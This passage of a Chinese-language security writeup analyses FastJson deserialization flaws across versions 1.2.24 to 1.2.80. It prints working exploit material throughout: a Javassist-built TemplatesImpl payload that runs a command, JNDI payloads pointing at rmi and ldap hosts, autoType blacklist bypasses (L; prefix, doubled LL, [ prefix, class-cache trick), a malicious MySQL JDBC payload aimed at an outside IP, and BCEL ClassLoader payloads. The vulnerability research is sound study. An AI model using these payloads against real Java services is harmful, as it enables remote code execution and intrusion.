}
}while(
(n = n.getSuperclass())!=null
);
}
}
TemplatesImpl
FastJson反序列化漏洞利用的三个细节-TemplatesImpl的利用链
- kick-off gadget:
JSON.parse(payload,Feature.SupportNonPublicField)
- sink gadget:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties()
- chain gadget:
JavaBeanDeserializer#deserialze()
这一条链利用条件比较苛刻:
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(jsonstr, Object.class,config, Feature.SupportNonPublicField)
- 服务端使用parse()时,需要
JSON.parse(jsonstr,Feature.SupportNonPublicField)
public class TemplatesImplSec {
public static void main(String[] args) {
try {
byte[] evilCode = getEvilBytes();
String evilCode_base64 = Base64.encodeBase64String(evilCode);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception {
Class clazz = Class.forName(className);
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static Object getTempalteslmpl() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = getEvilBytes();
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
setFieldValue(className,templates,"_name","Hello");
setFieldValue(className,templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(className,templates,"_bytecodes",new byte[][]{evilBytes});
return templates;
}
public static byte[] getEvilBytes() throws Exception{
//byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
ClassPool classPool = new ClassPool(true);
CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
helloAbstractTranslet.setSuperclass(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});");
helloAbstractTranslet.addConstructor(ctConstructor);
byte[] bytes = helloAbstractTranslet.toBytecode();
helloAbstractTranslet.detach();
return bytes;
}
}
为什么设置Feature.SupportNonPublicField
fastjson默认不会反序列化时不会处理私有属性,而TemplatesImpl利用链中的属性都是私有属性,所以我们要设置Feature.SupportNonPublicField
public final class TemplatesImpl implements Templates, Serializable {
private byte[][] _bytecodes = null;
private Properties _outputProperties;
....
}
为什么会触发getOutputProperties()
之前分析过JavaBeanInfo#build()
方法中是会对setter、getter、成员变量分别进行处理,智能提取出成员变量信息放在JavaBeanInfo#fields
属性中。getOutputProperties在不例外。
之后在JavaBeanDeserializer#parseField()
方法的处理中调用smartMatch进行处理
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx
FieldDeserializer fieldDeserializer = smartMatch(key);
......
fieldDeserializer.parseField(parser, object, objectType, fieldValues);
return true;
}
在smartMatch寻找FieldDeserializer的逻辑中会去除键中的is
或_
或-
来寻找对应的FieldDeserializer
public FieldDeserializer smartMatch(String key) {
if (key == null) {
return null;
}
FieldDeserializer fieldDeserializer = getFieldDeserializer(key);
if (fieldDeserializer == null) {
boolean startsWithIs = key.startsWith("is");
for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
FieldInfo fieldInfo = fieldDeser.fieldInfo;
Class<?> fieldClass = fieldInfo.fieldClass;
String fieldName = fieldInfo.name;
if (fieldName.equalsIgnoreCase(key)) {
fieldDeserializer = fieldDeser;
break;
}
if (startsWithIs //
&& (fieldClass == boolean.class || fieldClass == Boolean.class) //
&& fieldName.equalsIgnoreCase(key.substring(2))) {
fieldDeserializer = fieldDeser;
break;
}
}
}
if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
if (snakeOrkebab) {
fieldDeserializer = getFieldDeserializer(key2);
if (fieldDeserializer == null) {
for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
fieldDeserializer = fieldDeser;
break;
}
}
}
}
}
if (fieldDeserializer == null) {
for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
if (fieldDeser.fieldInfo.alternateName(key)) {
fieldDeserializer = fieldDeser;
break;
}
}
}
return fieldDeserializer;
}
为什么_bytecodes要进行Base64编码
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
在解析byte[]的时候进行了base64解码
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA);
return null;
}
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
为什么_tfactor为{}
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.class:579
解析字段值时,会自动判断传入键值是否为空,如果为空会根据类属性定义的类型自动创建实例
if (object == null && fieldValues == null) {
object = createInstance(parser, type);
if (object == null) {
fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
}
childContext = parser.setContext(context, object, fieldName);
}
1.2.25-1.2.41
自fastjson的1.2.25版本以后默认不开启了AutoTypeSupport功能,所以需要收到打开
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
Payload
public class JdbcRowSetImpISec {
public static void main(String[] args) {
//反序列化 1.2.25
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1234/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
首先在ParserConfig之中增加了黑白名单
public class ParserConfig {
private String[] denyList = "".split(",");
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;
}
白名单需要我们手动添加
-
使用代码进行添加:
ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
-
加上JVM启动参数:
-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
-
在fastjson.properties中添加:
fastjson.parser.autoTypeAccept=org.su18.fastjson.
黑名单:虽然有黑名单,但是没有拦截BasicDataSource,但是把前缀给拦截了org.apache.tomcat
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
另外对比以下1.2.24和1.2.25的DefaultJSONParser#parseObject(),可以看出新版多了checkautoType
进入com.alibaba.fastjson.parser.ParserConfig#checkAutoType
方法中,如果开启了autoTypeSupport将会先进行白名单的判断,然后再进行黑名单的判断。可以说我们直接使用1.2.24的Payload直接打的话会直接抛出黑名单拦截的异常
但是继续往下看,如果不使用黑名单中的前缀,将会进入TypeUtils.loadClass(String className, ClassLoader classLoader)
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
line 860
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
在TypeUtils#loadClass中,如果JSON字符串中的类名以L
开头并且以;
结尾,将会去掉它俩再用TypeUtils#loadClass加载clazz。逻辑漏洞成功绕过检测
1.2.25-1.2.42
该版本在1.2.41的基础将黑名单字符串校验改为了hash值校验
但是可以发现关于className类名的计算公式我们是可以知道的:com.alibaba.fastjson.util.TypeUtils#fnv1a_64
public static long fnv1a_64(String key) {
long hashCode = -3750763034362895579L;
for(int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
hashCode ^= (long)ch;
hashCode *= 1099511628211L;
}
return hashCode;
}
关于hash值所对应的类名已经有大佬给整出来了https://github.com/LeadroyaL/fastjson-blacklist
想想怎么绕过hash校验,其实也不难,只要我们类的hash值不和黑名单对应而且能触发loadClass就可以。巧妙的是TypeUtils#loadClass中的逻辑并没有发生变化
那就是双写绕过呗。
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1234/Exploit", "autoCommit":true}
1.2.25-1.2.43
修改的点在checkAutoType中,遇到俩个LL
就直接拦截。避免了之前的LL绕过
但是官方还是没有防范对[
的处理
使用以下Payload进行绕过
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://127.0.0.1:1234/Exploit", "autoCommit":true}
1.2.44
checkAutoType里面判断JSON字符串如果以[
开头直接抛出异常
1.2.25-1.2.45
这次fastjson的漏洞不是在BasicDataSource中了,出现了新的jndi利用链中,前提是需要mybatis依赖<3.5.0
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.5</version>
</dependency>
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
该类中可触发jndi
前面部分触发jndi
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://127.0.0.1:1234/Exploit"}}
后面部分触发jndi
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1234/Exploit"}}
1.2.25-1.2.47
缓存绕过:这一期的主题是缓存
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
{"a": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://127.0.0.1:1234/Exploit","autoCommit": true}}
原因:利用java.lang.Class的帮助将JdbcRowSetImpl类加载到Mappings的缓存中,从而绕过checkAutoType中的检测。将payload分为俩次送,第一次将类加载到缓存中,第二次反序列化触发jndi。
1.2.25-1.2.32
未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
未开启autoTypeSupport
java.lang.Class
类不属于黑名单中的类,所以直接绕过checkAutoType的检测,java.lang.Class对应的Deserializer是MiscCodec
MiscCodec.deserialze
中会获取到val部分的值然后赋值给objVal然后再赋值给strVal
如果我们的clazz是继承自Class将会使用TypeUtils.loadClass加载
TypeUtils.loadClass中加载将会把jdbcRowSetImpl进行加载然后放在mappings缓存中
然后在解析处理JSON字符串的b部分时候,checkAutoType方法的逻辑中会直接从mappings的缓存中取出clazz,从而绕过黑白名单检测。逻辑漏洞
最后就是JavaBeanDeserializer.deserialize触发Jndi注入
开启autoTypeSupport
在b部分进行JSON字符串解析的时候进入checkAutoType会直接被拦截
1.2.25-1.2.47
无论是否开启autoTypeSupport都会利用成功
未开启autoTypeSupport
和前者一样在进行黑白名单检查之前就直接从mappings缓存中取出clazz
开启autoTypeSupport
依旧是从Mappings缓存中获取clazz类
1.2.48
该版本的话貌似不可能绕过,1.2.48中AutoTypeSupport默认false,本部分不考虑期望类
AutoTypeSupport为true
想获取类对象首先就要绕过checkAutoType,DefaultJSONParser#parseObject
ParserConfig#checkAutoType
首先检查白名单,我们的类肯定不在白名单中。我们类的在黑名单中,但是如果同时其在缓存中即可绕过
之前在1.2.47中提到过如何利用缓存,利用的是java.lang.Class的反序列化器com.alibaba.fastjson.serializer.MiscCodec#deserialze
在处理strVal(val属性)的时候有机会通过TypeUtils.loadClass
将val的值存入mappings缓存中,但是这里设置了cache未false,直接拒绝将类放入缓存中
TypeUtils#loadClass
中关于mappings.put都是如下逻辑。所以当前版本下想要在AutoTypeSupport为true下做手段是不可能了
if (cache) {
mappings.put(className, clazz);
}
AutoTypeSupport为false
中间还有存mappings中和从deserializers中取的步骤,压根不用看了根本不可能。当AutoTypeSupport为false的时候直接黑名单就否定了
1.2.62
黑名单的绕过
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
1.2.66
黑名单绕过
// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
1.2.68
主要围绕着议题来吧,努力学习议题
官方说明 1.2.68版本变动
-
增加autoType的黑名单
-
ParserConfig加入AutTypeCheckHandler支持,允许开发者自定义安全检查
-
支持配置safeMode 如果配置了safeMode,那么无论类是否在白黑名单与否都将不进行反序列化
安全问题 貌似都是写文件RCE,没有直接RCE
可以先看 y4er师傅 的分析(非常详细) 该版本貌似不能直接RCE,网上的各位师傅大多数使用的是fastjson写文件然后RCE
关于blackhat2021披露的fastjson1.2.68链
Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用
前置知识
如何在json字符串中指定expectclass:显示(Explicit)继承和隐式(Implicit)继承
checkAutoType分析
我删除了之前所有的分析,只想着重新来过 2023/1/10
我们需要把分析重点放在ParserConfig#checkAutoType
这个函数中,在fastjson反序列化的过程中获取类对象大部分都必须先经过该检查
首先判断非空;第二个if属于 safeMode 模式,在1.2.68之后的版本,提供了 AutoTypeCheckHandler 扩展,可以自定义类接管 autoType, 通过ParserConfig#addAutoTypeCheckHandler 方法注册;接下来就判断是否开启了 safeModeMask 安全模式,开启后会 safeMode not support autoType,最后就是 typename 长度的校验。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (autoTypeCheckHandlers != null) {
for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
final int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode
|| (features & safeModeMask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
......
return clazz;
}
定义 expectClassFlag
旗子,如果 expectClass
期望类属于 Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这几个类不能作为expectClass期望类,expectClassFlag
它们不能作为期望类
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
......
return clazz;
}
将 typeName
按照规则进行转化 h3
后与 internalDenyHashCodes
黑名单进行比对,发现处于黑名单就直接退出。期间通过 typeName
和INTERNAL_WHITELIST_HASHCODES
的处理得到 internalWhite 布尔变量,它表示是否该类在白名单中
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
String className = typeName.replace('$', '.');
Class<?> clazz;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
long fullHash = TypeUtils.fnv1a_64(className);
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;
if (internalDenyHashCodes != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
......
return clazz;
}
如果其不在 internalWhite 白名单中并且(开启了autoTypeSupport或者expectClassFlag位true) 就进入内部,內部进行黑白名单判断,在白名单内就加载,在黑名单中就抛出异常。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
continue;
}
throw new JSONException("autoType is not support. " + typeName);
}
}
}
......
return clazz;
}
接下来就是从 Mappings/deserializers/typeMapping/interalwhite 中获取该类对象,另外获取类对象如果不是继承自 expectClass 就直接抛出异常
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
......
return clazz;
}
getClassFromMapping
:在com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
被赋值,添加了些基本类,后续会当作缓存使用。
这里先注意下java.lang.AutoCloseable
类。
deserializers
:deserializers.findClass是在com.alibaba.fastjson.parser.ParserConfig#initDeserializers
初始化。里面存放了一些特殊类用来直接反序列化。
typeMapping
默认为空需要开发自己赋值,形如
ParserConfig.getGlobalInstance().register("test", Model.class);
如果没有开启 autoType 也会进行黑白名单判断,在白名单内就加载,在黑名单中就抛出异常。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// white list
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
......
return clazz;
}
JSONType相关的处理,在1.2.14版本之后,fastjson支持通过JSONType配置定制序列化的ObjectSerializer。 JSONType_serializer
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}
......
return clazz;
}
如果开启 autoTypeSupport 或者 jsonType 或者 expectClassFlag 任何一个为 true ,就使用 TypeUtils.loadClass
来获取类对象。继续,如果开启了 jsonType 就将其添加到缓存并返回,如果 clazz 类对象继承自 ClassLoader/DataSource/RowSet 直接抛出异常退出,如果类对象继承自 expectClass 就添加到缓存 mappings 中并返回。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
......
return clazz;
}
最后就是判断是否开启autoTypeSupport特性,clazz添加进缓存,返回return clazz。
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
......
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}
......
return clazz;
}
议题公布的Gadgets
Gadgets Find
从整个checkAutoType方法的内容来看,从mappings缓存中或继承expectclass中得到类对象限制比较少,可以从这俩个方面考虑
1.2.47的绕过是因为TypeUtils中的mappings缓存。在1.2.47之后的版本中我们已经无法通过java.lang.Class
自主的添加任意类到缓存中
Misccodec#deserialze
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
TypeUtils#loadClass
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
fastjson在使用前会将一些基础的类提前加载出来放到TypeUtils.mappings
缓存中,TypeUtils.mappings
的初始化是调用了
fastjson.util.TypeUtils#addBaseClassMappings
这些类的Deserializer反序列化器都有自己专属的,比较难利用
在缓存中有个类是意外java.lang.AutoCloseable
,它反序列化器是 fastjson.parser.deserializer.JavaBeanDeserializer
java.lang.AutoCloseable
是从jdk1.7之后开始引入的类,从jdk的文档中找到这个类的继承类有很多熟知的
大多数都和读写操作有关。如果让该类做expectclass,那么其继承类就可以很轻松的反序列化
上面blackhat寻找思路,然后y4er师傅也有一个寻找思路因为我们需要在checkAutoType传参的时候expectclass不为null,直接寻找checkAutoType的调用,可以找到俩处,expectclass不为null的调用
-
JavaBeanDeserializer:和上面一样,处于mappings中的类都指定了特定的deserializer,但是AutoCloseable类没有,通过继承/实现AutoCloseable的类可以绕过autotype反序列化。
-
ThrowableDeserializer:
在ParserConfig#getDeserializer中如果clazz是Throwable将会适用ThrowableDeserializer进行反序列化
接着在获取一下个@type的时候调用checkAutoType并设置期望类为Throw.class.
Throwable的继承类都是和异常相关的没有什么可用的
所以现在就需要寻找java.lang.AutoCloseable
的继承类中有无可利用的Gadgets
利用链的限制
- 继承自java.lang.AutoCloseable
- 有默认的构造方法或者构造方法symbol
- 不在黑名单中
利用链的需求:
- RCE,读文件/写文件,SSRF
- jdk自带的类或者被广泛使用的第三方jar包中的类
blackhat中提供了一个自动化寻找java.lang.AutoCloseable
继承类的工具:AutoTypeDiscovery Tools 以下时议题中的介绍
Find Gadgets Automatically:自动化寻找Gadgets
-
Reflection for checking derivation conditions:反射 检查继承的限制
-
Visualization of derivation relations for reversing the chain from sink:通过sink点反向寻找有继承关系的可视化工具
-
- Tool for checking derivation conditions:寻找继承类的工具
-
Search gadgets classes in the JDK and the specified set of jars:在jdk或指定jar包中寻找利用链中的类
-
Crawling common third party libraries from maven:从maven中寻找常见的第三方库
AutoTypeDiscovery Tools 用途:
主要目的是自动挖掘
在静态主函数处编辑第一行,设置你要分析的jar文件或目录。
启动,等待然后输出结果
为了可视化数据将会保存在 cytoscape 目录中,用浏览器打开index.html进行查看
Mysql Attack
首先是Mysql JDBC的利用链
只要服务器端有fastjson反序列化漏洞并且MySQL Connection有依赖再加一个原生反序列化的利用链即可
import com.alibaba.fastjson.JSON;
public class Main1 {
public static void main(String[] args) {
String payload = "\n" +
"{\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n" +
" \"hostToConnectTo\": \"39.105.8.77\",\n" +
" \"portToConnectTo\": 3306,\n" +
" \"info\": {\n" +
" \"user\": \"CC6\",\n" +
" \"password\": \"password\",\n" +
" \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
" \"autoDeserialize\": \"true\",\n" +
" \"NUM_HOSTS\": \"1\"\n" +
" },\n" +
" \"databaseToConnectTo\": \"dbname\",\n" +
" \"url\": \"\"\n" +
"}";
JSON.parse(payload);
//com.mysql.jdbc.JDBC4Connection
}
}
MySQL_Fake_Server搭建一下恶意MySQL Server 弹一下计算器
最后简单放一下调用栈
commons-io
Java-Tron
Tron(波场):是一种基于区块链技术的分布式操作系统,在其基础上内生的虚拟货币,简称TRX
- 公共区块链
- 被称为TRX的加密货币,原生于该系统
- 市场价值:约50亿美元。
- 货币持有人。1460万。
- TRON网络上有1400个DApps,每日交易量超过1200万美元(2020/12/17)。
Java Tron:Tron中使用的公链协议,它可以在tron节点上启用HTTP服务内部使用Fastjson解析Json数据
- TRON推出的公共区块链协议。
- 用于与区块链互动的HTTP服务
- 在github上有2.7k颗星的开放源码java应用程序
- 使用fastjson
区块链中的Tron使用了fastjson该如何进行漏洞利用呢?
- Mysql Connector RCE:没有C/S数据库的连接
- Commons IO read and write file:存在的问题
- 如何写:使用Springboot不能写WebShell
- 怎么写:写class文件不是以Root的身份,不确定charse.jar的位置
- 如何读:不是通过HTTP直接响应,而是在P2P网络上广播
- 没有前提条件:使用更多的结点和更多资金
jar包中的JNI
- 二进制库文件需要在加载前释放到文件系统中。
- 总是在java.io.tmpdir中
- System.load(libfoo)-->dlopen(libfoo.so)
Leveldb and leveldbjni:
- 一个快速的key-value存储库
- 被比特币使用,因此,被许多公有链所继承
- 存储区块链元数据,经常轮询读写情况
- 需要效率,如https://github.com/fusesource/leveldbjni
- org.fusesource.hawtjni.runtime.Library#exractAndLoad
https://paper.seebug.org/1698/
https://xz.aliyun.com/t/10533#toc-10
1.2.80
https://y4er.com/posts/fastjson-bypass-autotype-1268/#分析
https://hosch3n.github.io/2022/09/01/Fastjson1-2-80漏洞复现/
https://mp.weixin.qq.com/s/SwkJVTW3SddgA6uy_e59qg
https://www.freebuf.com/vuls/354868.html
自fastjson 1.2.68漏洞杯纰漏以后,fastjson的blacklist又有了新的更新,java.lang.AutoCloseable
,java.lang.Runnable
等众多类被添加到了黑名单中
如何利用
fastjson1.2.80 的核心思想:利用期望类将未处于黑名单中的类添加到缓存中,然后在横向出Expection之外的类型,类属性
JSON.toJavaObject(Type)
TypeUtils#cast(Object,Class,ParserConfig)
Fastjson不出网RCE
在fastjson 1.2.47及之前版本的不出网RCE利用的是BCEL ClassLoader
jdk< tomcat-dbcp/mybatis....
fastjson<1.2.24
- JSON.parseObject(exploit);
{"@type": "org.apache.commons.dbcp.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b......"}
- JSON.parse(exploit)
{{"@type": "com.alibaba.fastjson.JSONObject","x":{"@type": "org.apache.commons.dbcp.BasicDataSource","driverClassLoader": {"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$..."}}: "x"}
1.2.33-1.2.47之间
{
"xxx": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"www": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
